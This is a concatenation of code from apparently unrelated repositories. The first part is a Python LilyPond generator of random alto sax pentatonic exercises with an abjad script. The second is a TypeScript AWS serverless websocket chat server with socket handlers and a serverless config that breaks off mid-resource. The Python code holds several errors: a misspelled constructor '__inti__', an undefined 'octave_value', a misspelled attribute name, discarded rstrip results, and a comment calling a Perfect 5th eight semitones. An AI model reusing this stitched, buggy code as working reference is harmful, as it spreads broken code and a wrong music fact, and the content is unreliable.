#getRandomScaleTone_2ndOctave(minor_pentatonic_scale_tones,NUM_PENTATONIC_SCALE_TONES) #getRandomScaleTone_BothOctaves(minor_pentatonic_scale_tones,NUM_PENTATONIC_SCALE_TONES) getRandomScaleTone_FirstOctave(minor_pentatonic_scale_tones,NUM_PENTATONIC_SCALE_TONES) <file_sep>/excercise_generator_lilypond.py import random import re class randomNotes: #intervals mapped to scale tones of the chromatic scale #i.e root is 0 semi-tones away from the root, a Perfect 5th is 8 semi-tones away from the root chromatic_scale_tones= {'root':0,'-2':1,'+2':2,'-3':3,'+3':4,'P4':5,'x4/b5':6,'P5':7,'-6':8,'+6':9,'-7':10,'+7':11} # a dictionary mapping a Key's chromatic distance from C as a number, used as an offset. # i.e the key of C is 0 semi-tones away from the key of C, the key of F is 5 semitones away from C key_dict = {'Cmaj':0,'Cmin':0,'C#maj':1,'C#min':1, 'Dbmaj':1,'Dmaj':2,'Dmin':2,'D#min':3\ ,'Ebmaj':3,'Ebmin':3,'Emaj':4,'Emin':4,'Fmaj':5,'Fmin':5,'F#maj':6,'F#min':6\ ,'Gbmaj':6,'Gmaj':7,'Gmin':7,'G#min':8,'Abmaj':8,'Abmin':8,'Amaj':9,'Amin':9\ ,'A#min':10,'Bbmaj':10,'Bbmin':10,'Bmaj':11,'Bmin':11} #list of string lilypond uses as rythmic values #list_of_rhythmic_values = ['1','2','4','8','16','32'] list_of_rhythmic_values = ['4','8','16','32'] #list_of_octave_symbols = [',,',',','','\'','\'\'','\'\'\''] list_of_octave_symbols = ['','\'','\'\'','\'\'\''] #two lists of notes in the format that lilypond uses to be compiled as notes on a page # the 'is' siffix means sharp, the 'es' suffix means flat chromatic_sharp_list = ['c','cs','d','ds','e','f','fs','g','gs','a','as','b'] chromatic_flat_list = ['c','df','d','ef','e','f','gf','g','af','a','bf','b'] #list containing string of all the sharp and flat keys listOfSharpKeys = ['Gmaj','Dmaj','Amaj','Emaj','Bmaj','F#maj','C#maj'\ ,'Emin','Bmin','F#min','C#min','D#min','A#min'] listOfFlatKeys = ['Fmaj','Bbmaj','Ebmaj','Abmaj','Dbmaj','Gbmaj'\ ,'Cbmaj','Dmin','Gmin','Cmin','Fmin','Bbmin','Ebmin','Abmin'] # a list containing the intervals of the minor pentatonic scale. not really necessary, but helps with readability minor_pentatonic_scale= [chromatic_scale_tones['root'],chromatic_scale_tones['-3'],chromatic_scale_tones['P4']\ ,chromatic_scale_tones['P5'],chromatic_scale_tones['-7']] #number of notes in the minor pentatonic scale NUM_PENTATONIC_SCALE_TONES = 5 #notes in the current octave configuration that are outside the range of my sax playing alto_sax_below_range = ['cs','a','af','gs','g','gf','fs','f','e','ef','ds','d','df'] alto_sax_above_range = ['b\'\'\'','bf\'\'\'','as\'\'\'','a\'\'\'','af\'\'\'','gs\'\'\'','g\'\'\'','gf\'\'\'','fs\'\'\'',] def __inti__(self): self.current_note = '' #get a random scale tone within an octave # def getRandomScaleTone(self,scale,key,range): #print("number of notes in first octave: %d" %first_octave) #get a random integer between 0 and 1000000 random_int = random.randint(0,1000000) #print("nradome number between 1 - 10^6: %d" %random_int) #maps the random integer to the subset of number of tones in scale scale_tone = random_int%len(scale) #print("random scale tone: %d" %scale_tone) #maps the random scale tone to the tones from the chromatic scale chromatic_scale_tone = scale[int(scale_tone)] #print("random chromatic scale tone: %d" %chromatic_scale_tone) #maps the tones from the chromatic scale to lilypond formatted note strings if (key in self.listOfSharpKeys): pitch = self.chromatic_sharp_list[(chromatic_scale_tone+self.key_dict[key])%len(self.chromatic_sharp_list)] else: pitch = self.chromatic_flat_list[(chromatic_scale_tone+self.key_dict[key])%len(self.chromatic_flat_list)] #get a random octave octave = self.getRandomOctave() #assign the octave symbol to the pitch note = pitch + octave #check the range of the instrument if range == 'alto sax': #if the random note is below the range of alto sax, bump it up an octave if note in self.alto_sax_below_range: note += "\'" #if the random note is above the range of alto sax, bump it down an octave if note in self.alto_sax_above_range: #strip the note of it's octave symboles note = note.rstrip("\'") #put the note back in the topmost octave for the instruement note += "\'\'" return note #prints the intervals of a scale in a given key mapped onto the chromatic scale, #as well as the note names of that scale. def printScaleAndIntervals(self,scale,key): noteList = [] keyList = [] if key in self.listOfSharpKeys: keyList = self.chromatic_sharp_list else: keyList = self.chromatic_flat_list for note in scale: noteList.append(keyList[(note+self.key_dict[key])%len(keyList)]) #print("list of scale intervals:") # print(scale) # print("list of notes:") # print(noteList) #returns a random octave string def getRandomOctave(self): random_int = random.randint(0,1000000) octave_index = random_int%len(self.list_of_octave_symbols) return self.list_of_octave_symbols[octave_index] #returns a random musical key from key_dict def getRandomKey(self): #random.sample() returns a list of the number of keys specified in the function call random_key = random.sample(self.key_dict,1)[0] return random_key #assigns a given note a random octave (this function must be called BEFORE the note has been assigned a rhythm) def giveRandomOctave(self,note): random_int = random.randint(0,1000000) octave_index = random_int%len(self.list_of_octave_symbols) noteWithOctave = note+self.list_of_octave_symbols[octave_value] #print('a note with random Octave added to it: %s' %noteWithOctave) return noteWithOctave #assigns a given note a given octave (this function must be called BEFORE the note has been assigned a rhythm) def assignOctave(self,note,octave): noteWithOctave = note+octave return noteWithOctave #returns a random rhythm string def getRandomRhythmicValue(self): random_int = random.randint(0,1000000) rhythm_index = random_int%len(self.list_of_rhythmic_values) return self.list_of_rhythmic_values[rhythm_index] #assigns a given note a random rhythm (this function must be called AFTER the note has been assigned an Octave) def giveRandomRhythmicValue(self,note): random_int = random.randint(0,1000000) rhythm_index = random_int%len(self.list_of_rhythmic_values) noteWithrhythm = note+self.list_of_rythmic_values[rhythm_index] #print('a note with random rhythm added to it: %s' %noteWithrhythm) return noteWithrhythm #assigns a given note a given rhythm (this function must be called AFTER the note has been assigned an Octave) def assignRhythm(self,note,rhythm): noteWithRhythm = note+rhythm return noteWithRhythm #assigns a given rhythm and octave to a given note def assignOctaveAndRhythm(self, note,rhythm,octave): return note+octave+rhythm #assigns a rest a random rhythm def getRandomRest(self): random_int = random.randint(0,1000000) rhythm_value = random_int%len(self.list_of_rhythmic_values) restWithRhythm = 'r'+self.list_of_rhythmic_values[rhythm_value] #print('a rest with random rhythm added to it: %s' %restWithRhythm) return restWithRhythm #assigns a given note a given rhythm (this function must be called AFTER the note has been assigned an Octave) def assignRhythmToRest(self,rhythm): restWithRhythm = 'r'+rhythm return restWithRhythm # this function returns the rhythm value of a note or rest # as an integer. It asumes it is being called on a string that contains a number. def findRhythmAsInt(self,noteRest): #returns a list of all numbers in the noteRest string as a list of string #uses the regular expression library to find all decimal numbers in a string (\d) one or more time # +. so r'\d+' returns all numbers in a string string_rhythm = re.findall(r'\d+',noteRest) #convert list of string number to int intRhythm = int(string_rhythm[0]) return intRhythm def getMeasure_RandomEverything(self,timeSignature,scale,key,range): measure_counter = 0.0 measure_string = '' item = '' #while measure counter is less than the number of beats in the measure #i.e while the measure isn't full while (measure_counter < float(timeSignature)): #get a random rhythm rhythm = self.getRandomRhythmicValue() #add this rhythmic value to the measure counter measure_counter += (1/float(rhythm)) #print("the cumultative beats in the measure so far are: %f " %measure_counter) #check to see the new rhythm value hasn't acused the #total time to exceed the size of the measure while(measure_counter > float(timeSignature)): #print("new rhythm: %s is too big to fit into bar." %rhythm) #remove the too-big rhythm's time form the counter measure_counter -= (1/float(rhythm)) #get the index of the too-big rhythm in the list of rhythm values rhythm_index = self.list_of_rhythmic_values.index(rhythm) # print("the new rhythem index is %d" %rhythm_index) # print("the list of rhythmic values is:") # print(self.list_of_rhythmic_values) #increase the index by 1 to move to the next smaller rhythm rhythm_index += 1 rhythm = self.list_of_rhythmic_values[rhythm_index] # print("the new rhythm is %s" %rhythm) #add the new rhythm value to the counter measure_counter += (1/float(rhythm)) #all the rhythm stuff has been worked out. #select a note or rest to apply the rhythm too random_int = random.randint(0,4) if (random_int != 0): #get a note if random int is 0 pitchAndOctave = self.getRandomScaleTone(scale,key,range) #octave = self.getRandomOctave() note = self.assignRhythm(pitchAndOctave,rhythm) #note = self.assignRhythm(pitch,rhythm) #assign note to item and add a space for lilypond formatting item = note+' ' else: #get a rest if random int is 1 rest = 'r'+rhythm #assign rest to item and add a space for lilypond formatting item = rest+' ' #add item to the measure_string += item # print("the measure string thuse far is %s" %measure_string) #remove the extra space at the end of the string measure_string.rstrip(' ') # print("the final measure string thuse far is %s" %measure_string) # print("total measure time used is %f" %measure_counter) # print("Number of beats in the bar is %f" %float(timeSignature[0])) print(measure_string) return measure_string def getMeasure_IdenticalRhythmNoRests(self,timeSignature,scale,key,range,rhythm): measure_counter = 0.0 measure_string = '' item = '' while (measure_counter < float(timeSignature)): #get a note pitchAndOctave = self.getRandomScaleTone(scale,key,range) #assign the rhythm to the note note = self.assignRhythm(pitchAndOctave,rhythm) #add this rhythmic value to the measure counter measure_counter += (1/float(rhythm)) #assign note to item and add a space for lilypond formatting note +=' ' #add note to the measure string measure_string += note #remove the extra space at the end of the string measure_string.rstrip(' ') print(measure_string) return measure_string <file_sep>/excercise_script.py from excercise_generator_lilypond import randomNotes from abjad import * import copy ''' print("^^^^^^ my program ^^^^^^^^^^^^^^^^^^") #time-signature tuples four_four = (4, 4) time_signature = four_four notes = randomNotes() measure_string = notes.getRandomMeasureString(four_four,notes.minor_pentatonic_scale,'Bmin') measure_string = "a'8 g'8 f'8 e'8" print("this is the measure:") print(measure_string) #''' print("------------------ online example -----------------") #the numerical sum of notes in a bar. # i.e for 4/4: 0.25 + 0.25 + 0.25 + 0.25 = 1 # i.e for 6/8: 0.125 + 0.125 + 0.125 + 0.125 + 0.125 + 0.125 = 0.75 four_four = 1 number_of_measures = 45 notes = randomNotes() #measure_string = notes.getMeasure_IdenticalRhythmNoRests(four_four,notes.minor_pentatonic_scale,'Bmin','alto sax','8') #measure_string = "c4 c4 c4 c4" #print(measure_string) score = Score([]) staff = Staff([]) score.append(staff) key = notes.getRandomKey() measures = [] for i in range(number_of_measures): measures.append(Measure((4, 4), [])) staff.extend(measures) measure_string = notes.getMeasure_IdenticalRhythmNoRests(four_four,notes.minor_pentatonic_scale,key,'alto sax','8') measures[i].extend(measure_string) # measures[0].extend(measure_string) # measures[1].extend(measure_string) # measures[2].extend(measure_string) # measures[3].append(measure_string) # measures[4].append(measure_string) show(staff) #''' ''' upper_voice = Voice("b2", name='upper voice') command = indicatortools.LilyPondCommand('voiceOne') attach(command, upper_voice) lower_voice = Voice("b4 a4", name='lower voice') command = indicatortools.LilyPondCommand('voiceTwo') attach(command, lower_voice) lower_measures[3].extend([upper_voice, lower_voice]) lower_measures[3].is_simultaneous = True upper_voice = Voice("b2", name='upper voice') command = indicatortools.LilyPondCommand('voiceOne') attach(command, upper_voice) lower_voice = Voice("g2", name='lower voice') command = indicatortools.LilyPondCommand('voiceTwo') attach(command, lower_voice) lower_measures[4].extend([upper_voice, lower_voice]) lower_measures[4].is_simultaneous = True ''' ''' notes = randomNotes() notes.printScaleAndIntervals(notes.minor_pentatonic_scale_tones,'Cmin') for i in range(20): note = notes.getRandomScaleTone(notes.minor_pentatonic_scale_tones,'Cmin') noteOctave = notes.assignOctave(note,'\'\'') print('notes with rythem and octave %s' %notes.assignRythem(noteOctave,'8')) ''' ''' abjad example snippets: measure = Measure((4, 8), "c'8 d'8 e'8 f'8") show(measure) staff = Staff("c'8 d'8 e'8 f'8") show(staff) '''
2ea9883f29cad168bd0345e2a1637c93de26d55c
[ "Python" ]
4
Python
tim-rogue/musical_excercise_generator
4f9eabd289c44f263047bdbe70e26256372943d2
750f79a543dd897e41bc774d6addc0a170cd2299
refs/heads/master
<file_sep>import 'aws-sdk'; import { ApiGatewayManagementApi, AWSError } from 'aws-sdk'; import { ClientConfiguration } from 'aws-sdk/clients/acm'; import CONSTANTS from '../constants'; import dynamodbConnector from './dynamodb.connector'; class ApiGatewayConnector { _connector: ApiGatewayManagementApi; constructor() { const CONNECTOR_OPS: ClientConfiguration = { endpoint: CONSTANTS.WEBSOCKET_API_ENDPOINT, }; this._connector = new ApiGatewayManagementApi(CONNECTOR_OPS); } get connector() { return this._connector; } async generateSocketMessage(connectionId: string, data: Object) { try { return await this._connector.postToConnection({ ConnectionId: connectionId, Data: data, }).promise(); } catch (e) { console.error('Unable to generate socket message', e); if (e.statusCode === 410) { console.log(`Removing stale connector ${connectionId}`); await dynamodbConnector.removeSocket(connectionId); } } } } const APIGW_CONNECTOR = new ApiGatewayConnector(); export default APIGW_CONNECTOR; <file_sep>import { DocumentClient } from "aws-sdk/clients/dynamodb"; export interface SocketMessage { action: string, value?: string, error?: string, } export interface SocketLogsMessage { action: string, messages: DocumentClient.AttributeMap[], } <file_sep>const CONSTANTS = { RSTUDIO_INSTANCE: process.env.RSTUDIO_INSTANCE, ENVIRONMENT: process.env.ENVIRONMENT, COGNITO_USER_POOL: process.env.COGNITO_USER_POOL, COGNITO_USER_POOL_CLIENT: process.env.COGNITO_USER_POOL_CLIENT, CORS_ORIGIN: process.env.CORS_ORIGIN, BUCKET_NAME: process.env.BUCKET_NAME, DYNAMODB_FILES_GSI: process.env.DYNAMODB_FILES_GSI, DYNAMODB_FILES_TABLE: process.env.DYNAMODB_FILES_TABLE, DYNAMODB_JOBS_STATE_GSI: process.env.DYNAMODB_JOBS_STATE_GSI, DYNAMODB_JOBS_TIME_GSI: process.env.DYNAMODB_JOBS_TIME_GSI, DYNAMODB_JOBS_TABLE: process.env.DYNAMODB_JOBS_TABLE, DYNAMODB_SOCKETS_TYPE_GSI: process.env.DYNAMODB_SOCKETS_TYPE_GSI, DYNAMODB_SOCKETS_SUB_GSI: process.env.DYNAMODB_SOCKETS_SUB_GSI, DYNAMODB_SOCKETS_PARTNER_SUB_GSI: process.env.DYNAMODB_SOCKETS_PARTNER_SUB_GSI, DYNAMODB_SOCKETS_TABLE: process.env.DYNAMODB_SOCKETS_TABLE, DYNAMODB_LOGS_TABLE: process.env.DYNAMODB_LOGS_TABLE, DYNAMODB_LOGS_FROM_SUB_GSI: process.env.DYNAMODB_LOGS_FROM_SUB_GSI, DYNAMODB_LOGS_TO_SUB_GSI: process.env.DYNAMODB_LOGS_TO_SUB_GSI, DYNAMODB_OPTIONS: {}, GLUE_JOB_NAME: process.env.GLUE_JOB_NAME, KEYS_URL: process.env.KEYS_URL, SIGNED_URL_EXPIRE_SECONDS: 60 * 60, WEBSOCKET_API_ENDPOINT: process.env.WEBSOCKET_API_ENDPOINT }; export default CONSTANTS; <file_sep>import { APIGatewayEvent, APIGatewayEventRequestContext, APIGatewayProxyHandler } from 'aws-lambda'; import apigatewayconnector from '../connector/apigateway.connector'; import dynamodbconnector from '../connector/dynamodb.connector'; import cognitoconnector from '../connector/cognito.connector'; import CONSTANTS from '../constants'; import { SocketMessage } from '../types'; export const defaultSocketHandler: APIGatewayProxyHandler = async (event, _context) => { try { const data = JSON.parse(event.body); // TODO: typeguard const action = data.action; const connectionId = event.requestContext.connectionId; switch(action) { case 'PING': const res: SocketMessage = { action: 'PING', value: 'PONG', }; const pingResponse = JSON.stringify(res); await apigatewayconnector.generateSocketMessage(connectionId, pingResponse); break; default: const invalidRes: SocketMessage = { action: 'ERROR', error: 'Invalid request', }; const invalidResponse = JSON.stringify(invalidRes); await apigatewayconnector.generateSocketMessage(connectionId, invalidResponse); } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Default socket response', }; } catch (e) { console.error('Unable to generate default response', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Default socket response error.', } } }; export const handleSocketConnect: APIGatewayProxyHandler = async (event, _context) => { try { const connectionId = event.requestContext.connectionId; const connectionType = (event.queryStringParameters) ? event.queryStringParameters.connectionType : ''; const sub = (event.queryStringParameters) ? event.queryStringParameters.sub : ''; const selfSub = (event.queryStringParameters) ? event.queryStringParameters.selfSub : ''; await dynamodbconnector.registerSocket(connectionId, connectionType, selfSub, sub); // find sockets to be sent status update message const sockets = await dynamodbconnector.findSocketsByPartnerSub(selfSub); const items = sockets.Items.map((i) => i); for (const socket of items) { try { const statusUpdateMessage: SocketMessage = { action: 'ISONLINE', value: '1', }; await apigatewayconnector.generateSocketMessage( socket.connectionId, JSON.stringify(statusUpdateMessage), ); } catch (e) { console.error(`Unable to deliver message to ${socket.connectionId}`, e); } } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Socket successfully registered.', }; } catch (e) { console.error('Unable to inintialize socket connection', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Unable to register socket.', }; } }; export const handleSocketDisconnect: APIGatewayProxyHandler = async (event, _context) => { try { const connectionId = event.requestContext.connectionId; const sockets = await dynamodbconnector.findSocketsByConnectionId(connectionId); await dynamodbconnector.removeSocket(connectionId); if (sockets.Count > 0) { const deletedSocketSub = sockets.Items[0]['sub']; const otherSockets = await dynamodbconnector.findSocketsByPartnerSub(deletedSocketSub); if (otherSockets.Count > 0) { for (const socket of otherSockets.Items) { const statusUpdateMessage: SocketMessage = { action: 'ISONLINE', value: '0', }; await apigatewayconnector.generateSocketMessage( socket.connectionId, JSON.stringify(statusUpdateMessage), ); } } } return { statusCode: 200, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Socket successfully terminated.', }; } catch (e) { console.error('Unable to terminate socket connection', e); return { statusCode: 500, headers: { 'Content-Type': 'text/plain', 'Access-Control-Allow-Origin': CONSTANTS.CORS_ORIGIN, }, body: 'Unable to terminate socket.', } } }; <file_sep>import type { AWS } from '@serverless/typescript'; const serverlessConfiguration: AWS = { service: 'websocket-chat-server', frameworkVersion: '2', custom: { user: 'ymatsuda', corsOrigin: '*', frontendUrl: 'https://reactplayground.zeroclock.dev/WebsocketChat', deploymentBucketName: "zeroclock-com-websocket-chat-server-layer-${opt:stage, self:provider.stage}-${opt:region, self:provider.region}", 'serverless-layers': { dependenciesPath: './package.json', }, webpack: { webpackConfig: './webpack.config.js', includeModules: true }, autoConfirmUserArn: 'arn:aws:lambda:ap-northeast-1:936630031871:function:LAMBDA_ymatsuda_websocket-chat-server_auth_autoconfirm_dev', }, // Add the serverless-webpack plugin plugins: [ 'serverless-webpack', 'serverless-deployment-bucket', 'serverless-layers', ], provider: { name: 'aws', runtime: 'nodejs12.x', region: 'ap-northeast-1', apiGateway: { minimumCompressionSize: 1024, }, websocketsApiName: "${self:service}-apigw-websocket-${opt:stage, self:provider.stage}", websocketsApiRouteSelectionExpression: '$request.body.action', environment: { AWS_NODEJS_CONNECTION_REUSE_ENABLED: '1', ENVIRONMENT: "${opt:stage, self:provider.stage}", COGNITO_USER_POOL: { Ref: 'CognitoUserPool', }, COGNITO_USER_POOL_CLIENT: { Ref: 'CognitoUserPoolClient', }, CORS_ORIGIN: "${self:custom.corsOrigin}", DYNAMODB_SOCKETS_TYPE_GSI: "${self:service}-sockets-type-gsi-${opt:stage, self:provider.stage}", DYNAMODB_SOCKETS_SUB_GSI: "${self:service}-sockets-sub-gsi-${opt:stage, self:provider.stage}", DYNAMODB_SOCKETS_PARTNER_SUB_GSI: "${self:service}-sockets-partner-sub-gsi-${opt:stage, self:provider.stage}", DYNAMODB_SOCKETS_TABLE: "${self:service}-sockets-${opt:stage, self:provider.stage}", DYNAMODB_LOGS_TABLE: "${self:service}-logs-${opt:stage, self:provider.stage}", DYNAMODB_LOGS_FROM_SUB_GSI: "${self:service}-logs-from-sub-gsi-${opt:stage, self:provider.stage}", DYNAMODB_LOGS_TO_SUB_GSI: "${self:service}-logs-to-sub-gsi-${opt:stage, self:provider.stage}", DYNAMODB_LOGS_TIMESTAMP_GSI: "${self:service}-logs-timestamp-gsi-${opt:stage, self:provider.stage}", DYNAMODB_LOGS_MESSAGE_GSI: "${self:service}-logs-timestamp-gsi-${opt:stage, self:provider.stage}", KEYS_URL: { "Fn::Join": [ '', [ 'https://cognito-idp.', "${opt:region, self:provider.region}", '.amazonaws.com/', { Ref: 'CognitoUserPool', }, '/.well-known/jwks.json', ] ] }, WEBSOCKET_API_ENDPOINT: { "Fn::Join": [ '', [ 'https://', { Ref: 'WebsocketsApi', }, '.execute-api.', "${opt:region, self:provider.region}", '.amazonaws.com/', "${opt:stage, self:provider.stage}/", ] ] } }, deploymentBucket: { name: "${self:custom.deploymentBucketName}", }, iamRoleStatements: [ { Effect: 'Allow', Action: [ 'execute-api:ManageConnections', ], Resource: [ "arn:aws:execute-api:${opt:region, self:provider.region}:*:**/@connections/*", ], }, { Effect: 'Allow', Action: [ 'cognito-idp:ListUsers', ], Resource: [ { "Fn::Join": [ '', [ "arn:aws:cognito-idp:${opt:region, self:provider.region}:*:userpool/", { Ref: 'CognitoUserPool', }, ], ], }, ], }, { Effect: 'Allow', Action: [ 'dynamodb:Query', 'dynamodb:Scan', 'dynamodb:GetItem', 'dynamodb:PutItem', 'dynamodb:UpdateItem', 'dynamodb:DeleteItem', ], Resource: [ "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_SOCKETS_TABLE}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_SOCKETS_TABLE}/index/${self:provider.environment.DYNAMODB_SOCKETS_TYPE_GSI}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_SOCKETS_TABLE}/index/${self:provider.environment.DYNAMODB_SOCKETS_SUB_GSI}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_SOCKETS_TABLE}/index/${self:provider.environment.DYNAMODB_SOCKETS_PARTNER_SUB_GSI}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_LOGS_TABLE}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_LOGS_TABLE}/index/${self:provider.environment.DYNAMODB_LOGS_MESSAGE_GSI}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_LOGS_TABLE}/index/${self:provider.environment.DYNAMODB_LOGS_FROM_SUB_GSI}", "arn:aws:dynamodb:${opt:region, self:provider.region}:*:table/${self:provider.environment.DYNAMODB_LOGS_TABLE}/index/${self:provider.environment.DYNAMODB_LOGS_TO_SUB_GSI}", ], }, ] }, functions: { authUser: { name: "LAMBDA_${self:custom.user}_${self:service}_auth_${opt:stage, self:provider.stage}", handler: 'handler.authUser', events: [ { http: { path: 'auth', method: 'post', cors: { origin: "${self:custom.corsOrigin}", }, }, }, ], }, authWebsocket: { name: "LAMBDA_${self:custom.user}_${self:service}_auth_websocket_${opt:stage, self:provider.stage}", handler: 'handler.authWebsocket', // cors: { // origin: "${self:custom.corsOrigin}", // }, }, defaultSocketHandler: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_default_${opt:stage, self:provider.stage}", handler: 'handler.defaultSocketHandler', events: [ { websocket: { route: '$default', }, }, ], }, greeting: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_greeting_${opt:stage, self:provider.stage}", handler: 'handler.greeting', events: [ { websocket: { route: 'GREETING' }, }, ], }, status: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_status_${opt:stage, self:provider.stage}", handler: 'handler.status', events: [ { websocket: { route: 'STATUS', }, }, ], }, sendmsg: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_sendmsg_${opt:stage, self:provider.stage}", handler: 'handler.sendmsg', events: [ { websocket: { route: 'SENDMSG', }, }, ], }, getmsg: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_getmsg_${opt:stage, self:provider.stage}", handler: 'handler.getmsg', events: [ { websocket: { route: 'GETMSG', }, }, ], }, handleSocketConnect: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_connect_${opt:stage, self:provider.stage}", handler: 'handler.handleSocketConnect', events: [ { websocket: { route: '$connect', authorizer: { name: 'authWebsocket', identitySource: ['route.request.querystring.Authorizer'], }, }, }, ], }, handleSocketDisconnect: { name: "LAMBDA_${self:custom.user}_${self:service}_socket_disconnect_${opt:stage, self:provider.stage}", handler: 'handler.handleSocketDisconnect', events: [ { websocket: { route: '$disconnect', }, }, ], }, refreshToken: { name: "LAMBDA_${self:custom.user}_${self:service}_auth_refresh_${opt:stage, self:provider.stage}", handler: 'handler.refreshToken', events: [ { http: { path: 'auth/refresh', method: 'post', cors: { origin: "${self:custom.corsOrigin}", }, }, }, ], }, autoConfirmUser: { name: "LAMBDA_${self:custom.user}_${self:service}_auth_autoconfirm_${opt:stage, self:provider.stage}", handler: 'handler.autoConfirmUser', }, }, resources: { Resources: { CognitoUserPool: { Type: 'AWS::Cognito::UserPool', Properties: { AliasAttributes: [ 'preferred_username', ], MfaConfiguration: 'OFF', UserPoolName: "${self:service}-cognito-${opt:stage, self:provider.stage}", Policies: { PasswordPolicy: { MinimumLength: 6, RequireLowercase: false, RequireNumbers: true, RequireSymbols: false, RequireUppercase: true, }, }, LambdaConfig: { // Fn::GetAtt causes circular dependencies // For the time being, hard-code the arn PreSignUp: "${self:custom.autoConfirmUserArn}", // PreSignUp: { // "Fn::GetAtt": [ // 'AutoConfirmUserLambdaFunction', // 'Arn', // ], // }, }, } }, CognitoUserPoolClient: { Type: 'AWS::Cognito::UserPoolClient', Properties: { ClientName: "${self:service}-cognito-client-${opt:stage, self:provider.stage}", GenerateSecret: false, UserPoolId: { Ref: 'CognitoUserPool', }, SupportedIdentityProviders: ['COGNITO'], AllowedOAuthFlows: ['implicit'], AllowedOAuthScopes: ['openid'], CallbackURLs: ["${self:custom.frontendUrl}", 'http://localhost:3000/WebsocketChat'], AllowedOAuthFlowsUserPoolClient: true, }, }, CognitoUserPoolDomain: { Type: 'AWS::Cognito::UserPoolDomain', Properties: { Domain: "${self:service}-${self:custom.user}-${opt:stage, self:provider.stage}", UserPoolId: { Ref: 'CognitoUserPool', }, }, }, SocketsDynamoDbTable: { Type: 'AWS::DynamoDB::Table', Properties: { AttributeDefinitions: [ { AttributeName: 'connectionId', AttributeType: 'S', }, { AttributeName: 'type', AttributeType: 'S', }, { AttributeName: 'sub', AttributeType: 'S', }, { AttributeName: 'partnerSub', AttributeType: 'S', } ], KeySchema: [{ AttributeName: 'connectionId', KeyType: 'HASH', }], ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, TableName: "${self:provider.environment.DYNAMODB_SOCKETS_TABLE}", GlobalSecondaryIndexes: [ { IndexName: "${self:provider.environment.DYNAMODB_SOCKETS_TYPE_GSI}", KeySchema: [ { AttributeName: 'type', KeyType: 'HASH', }, ], Projection: { ProjectionType: 'ALL', }, ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, }, { IndexName: "${self:provider.environment.DYNAMODB_SOCKETS_SUB_GSI}", KeySchema: [ { AttributeName: 'sub', KeyType: 'HASH', }, ], Projection: { ProjectionType: 'ALL', }, ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, }, { IndexName: "${self:provider.environment.DYNAMODB_SOCKETS_PARTNER_SUB_GSI}", KeySchema: [ { AttributeName: 'partnerSub', KeyType: 'HASH', }, ], Projection: { ProjectionType: 'ALL', }, ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, }, ], } }, LogsDynamoDbTable: { Type: 'AWS::DynamoDB::Table', Properties: { AttributeDefinitions: [ { AttributeName: 'messageId', AttributeType: 'S', }, { AttributeName: 'message', AttributeType: 'S', }, { AttributeName: 'fromSub', AttributeType: 'S', }, { AttributeName: 'toSub', AttributeType: 'S', }, { AttributeName: 'timestamp', AttributeType: 'N', }, ], KeySchema: [{ AttributeName: 'messageId', KeyType: 'HASH', }], ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, TableName: "${self:provider.environment.DYNAMODB_LOGS_TABLE}", GlobalSecondaryIndexes: [ { IndexName: "${self:provider.environment.DYNAMODB_LOGS_MESSAGE_GSI}", KeySchema: [ { AttributeName: 'message', KeyType: 'HASH', }, ], Projection: { ProjectionType: 'ALL', }, ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, }, { IndexName: "${self:provider.environment.DYNAMODB_LOGS_FROM_SUB_GSI}", KeySchema: [ { AttributeName: 'fromSub', KeyType: 'HASH', }, ], Projection: { ProjectionType: 'ALL', }, ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, }, { IndexName: "${self:provider.environment.DYNAMODB_LOGS_TO_SUB_GSI}", KeySchema: [ { AttributeName: 'toSub', KeyType: 'HASH', }, { AttributeName: 'timestamp', KeyType: 'RANGE', }, ], Projection: { ProjectionType: 'ALL', }, ProvisionedThroughput: { ReadCapacityUnits: 1, WriteCapacityUnits: 1, }, }, // { // IndexName: "${self:provider.environment.DYNAMODB_LOGS_TIMESTAMP_GSI}", // KeySchema: [ // { // AttributeName: 'timestamp', // KeyType: 'RANGE', // }, // ], // Projection: { // ProjectionType: 'ALL', // }, // ProvisionedThroughput: { // ReadCapacityUnits: 1, // WriteCapacityUnits: 1, // }, // }, ], } }, // Add permission to access AutoConfirmUser manually // because this function is linked to CognitoUserPool by hard-coded arn // ref: https://stackoverflow.com/questions/42460846/when-i-try-to-login-using-aws-cognito-i-get-an-accessdeniedexception-about-my-cu AutoConfirmUserPermission: { Type: 'AWS::Lambda::Permission', Properties: { Action: 'lambda:InvokeFunction', FunctionName: "${self:custom.autoConfirmUserArn}", Principal: "cognito-idp.amazonaws.com", SourceArn: { 'Fn::GetAtt': 